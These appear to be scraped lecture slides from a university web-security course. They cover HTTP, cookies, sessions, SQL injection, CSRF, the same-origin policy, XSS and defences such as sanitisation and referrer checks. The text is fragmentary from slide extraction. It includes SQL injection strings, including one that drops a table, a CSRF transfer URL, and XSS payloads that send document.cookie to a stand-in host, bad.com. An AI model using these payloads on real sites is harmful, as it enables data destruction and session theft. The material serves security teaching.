Web Security
Instructor: Fengwei zhang
SUSTech CS 315 Computer Security 1
Web Security Instructor: Fengwei zhang SUSTech CS 315 Computer - - PowerPoint PPT Presentation
Web Security Instructor: Fengwei zhang SUSTech CS 315 Computer Security 1 The Web Security for the World-Wide Web (WWW) New vulnerabilities to consider: SQL injection, Cross-site Scripting (XSS), Session Hijacking, and Cross-site
Instructor: Fengwei zhang
SUSTech CS 315 Computer Security 1
Cross-site Scripting (XSS), Session Hijacking, and Cross-site Request Forgery (CSRF)
safety vulnerabilities; like confusion of code and data
transmitted across a network and executed on a remote machine.
resources?
SUSTech CS 315 Computer Security 2
trust it
SUSTech CS 315 Computer Security 3
SUSTech CS 315 Computer Security 4
SUSTech CS 315 Computer Security 5
Browser Web server Database Client Server (Private) Data
DB is a separate entity, logically (and often physically) (Much) user data is part of the browser HTTP
SUSTech CS 315 Computer Security 6
Browser Web server Client Server HTTP Request
User clicks
SUSTech CS 315 Computer Security 7
http://www.reddit.com/r/security User-Agent is typically a browser but it can be wget, JDK, etc.
Referrer URL: the site from which this request was issued.
SUSTech CS 315 Computer Security 8
SUSTech CS 315 Computer Security 9
Posting on Piazza
Explicitly includes data as a part of the request’s content
Implicitly includes data as a part of the URL
SUSTech CS 315 Computer Security 10
SUSTech CS 315 Computer Security 11
Browser Web server Database Client Server (Private) Data
Long-lived state, stored in a separate database Need to protect this state from illicit access and tampering
complete
despite, e.g., power failures
these properties (and then some)
SUSTech CS 315 Computer Security 12
SUSTech CS 315 Computer Security 13
$result = mysql_query(“select * from Users where(name=‘$user’ and password=‘$pass’);”);
Website “Login code” (PHP) Suppose you successfully log in as $user if this returns any results How could you exploit this?
SUSTech CS 315 Computer Security 14
$result = mysql_query(“select * from Users where(name=‘$user’ and password=‘$pass’);”);
frank’ OR 1=1); --
$result = mysql_query(“select * from Users where(name=‘frank’ OR 1=1); -- and password=‘whocares’);”);
SUSTech CS 315 Computer Security 15
$result = mysql_query(“select * from Users where(name=‘$user’ and password=‘$pass’);”);
frank’ OR 1=1); DROP TABLE Users; --
$result = mysql_query(“select * from Users where(name=‘frank’ OR 1=1); DROP TABLE Users; -- and password=‘whocares’);”);
Can chain together statements with semicolon: STATEMENT 1 ; STATEMENT 2
http://xkcd.com/327/
SUSTech CS 315 Computer Security 16
SUSTech CS 315 Computer Security 17
SUSTech CS 315 Computer Security 18
$result = mysql_query(“select * from Users where(name=‘$user’ and password=‘$pass’);”);
select / from / where * Users and = name $user = password $pass
$user
Should be data, not code
When the boundary between code and data blurs, we open ourselves up to vulnerabilities
SUSTech CS 315 Computer Security 19
the effects of an attack
Creditcards_Table
useful if stolen
SUSTech CS 315 Computer Security 20
SUSTech CS 315 Computer Security 21
response
client from that previous session”
load?
SUSTech CS 315 Computer Security 22
SUSTech CS 315 Computer Security 23
Browser Web server Client Server HTTP Response HTTP Request State Cookie
Cookie
Server
Cookie
<html> …… </html>
Headers Data Set-Cookie:key=value; options; ….
SUSTech CS 315 Computer Security 24
provide a cookie
SUSTech CS 315 Computer Security 25
SUSTech CS 315 Computer Security 26
track users who have already authenticated
http://website.com/login.html?user=alice&pass=secret
with the correct password, then the server associates a “session cookie” with the logged-in user’s info
request headers and/or as one of the fields:
http://website.com/doStuff.html?sid=81asf98as8eak
same browser that authenticated Alice earlier.”
SUSTech CS 315 Computer Security 27
a site with the privileges of the user that established that session
to impersonate a legitimate user
SUSTech CS 315 Computer Security 28
machine/browser
SUSTech CS 315 Computer Security 29
information
interactions with web site (e.g., from clicking links)
can do this
SUSTech CS 315 Computer Security 30
SUSTech CS 315 Computer Security 31
server state
SUSTech CS 315 Computer Security 32
http://bank.com/transfer.cgi?amt=9999&to=attacker
SUSTech CS 315 Computer Security 33
Browser Client
bank.com
<img src=“http://bank.com/transfer.cg i?amt=9999&to=attacker”>
http://bank.com/ transfer.cgi?amt=9999&to=attacker
attacker. com
Browser automatically visits the URL to obtain what it believes will be an image
Cookie
bank.com
Cookie
$$$
server (e.g., bank.com)
user’s browser that look to the server like the user intended to make them
crafted by the attacker that goes to the vulnerable site
structure
victim to send it
SUSTech CS 315 Computer Security 34
page that hosted a clicked link
SUSTech CS 315 Computer Security 35
could legitimately reach
header present, generally trusted
too
requests with no referrer
SUSTech CS 315 Computer Security 36
secret in every link automatically
SUSTech CS 315 Computer Security 37
http://website.com/doStuff.html?sid=81asf98as8eak
SUSTech CS 315 Computer Security 38
pages can be expressed as a program written in Javascript:
SUSTech CS 315 Computer Security 39
<html><body> Hello, <b> <script> var a = 1; var b = 2; document.write(“world: “, a+b, “</b>”); </script> </body></html>
web server
SUSTech CS 315 Computer Security 40
(no relation to Java)
to:
bank.com web page
SUSTech CS 315 Computer Security 41
scripts via the Same Origin Policy (SOP)
the elements in the first place SOP =
have access to the page’s elements
SUSTech CS 315 Computer Security 42
SUSTech CS 315 Computer Security 43
Browser Client (Private) Data
18…
any domain ending in .zdnet.com
resource within a subdirectory of /
requests to <domain>/<path>
Semantics
SUSTech CS 315 Computer Security 44
script
script’s origin is bank.com
SUSTech CS 315 Computer Security 45
send the attacker’s script to the user’s browser!
the same origin… because it does!
bank.com server
URL that includes some Javascript code
response
within the same origin as bank.com
SUSTech CS 315 Computer Security 46
SUSTech CS 315 Computer Security 47
Browser Client
bank.com bad.com
Inject malicious script
1
Request content
2
R e c e i v e m a l i c i
s s c r i p t
3
Execute the malicious script as though the server meant us to run it
4
S t e a l v a l u a b l e d a t a
5
Perform attacker action
5
GET http://bank.com/transfer?amt=9999&to =attacker GET http://bad.com/steal?c=document.cookie
visits user-influenced content page on a vulnerable web service
same access as provided to the server’s regular scripts (i.e., subvert the Same Origin Policy)
server (e.g., via an ordinary browser).
information
uploaded to page does not contain embedded scripts
SUSTech CS 315 Computer Security 48
SUSTech CS 315 Computer Security 49
Browser Client
bank.com bad.com
Click on link
3
E c h
s e r i n p u t
4
Execute the malicious script as though the server meant us to run it
5
S t e a l v a l u a b l e d a t a
6
Perform attacker action
6
V i s i t w e b s i t e
1
R e c e i v e m a l i c i
s p a g e
2
URL specially crafted by the attacker
instances where a good web server will echo the user input back in the HTML response
SUSTech CS 315 Computer Security 50
http://victim.com/search.php?term=socks
<html> <title> Search results </title> <body> Results for socks : . . . </body></html>
Input from bad.com: Result from victim.com:
SUSTech CS 315 Computer Security 51
http://victim.com/search.php?term= <script> window.open( “http://bad.com/steal?c=“ + document.cookie) </script>
<html> <title> Search results </title> <body> Results for <script> ... </script> . . . </body></html>
Browser would execute this within victim.com’s origin
Input from bad.com: Result from victim.com:
uses a vulnerable web service that includes parts
generates
same access as provided to the server’s regular scripts
crafted URL. Optional tool: a server for receiving stolen user information
does not contain foreign, embedded scripts
SUSTech CS 315 Computer Security 52
<javascript> ... </javascript> from provided
SUSTech CS 315 Computer Security 53
https://wordpress.org/plugins/html-purified/
introduce Javascript; e.g., CSS tags and XML- encoded data:
url(javascript:alert(’JavaScript’))">...</div>
SRC="javas]]><![CDATA[cript:alert(’XSS’);">]]>
HTML!
across two lines; evaded MySpace filter
SUSTech CS 315 Computer Security 54
application validates all
language, use a simple, restricted subset
SUSTech CS 315 Computer Security 55
has in data sent from the legitimate website
website sends to the client browser
website has in data sent from the client browser
client browser sends to the website
SUSTech CS 315 Computer Security 56
SUSTech CS 315 Computer Security 57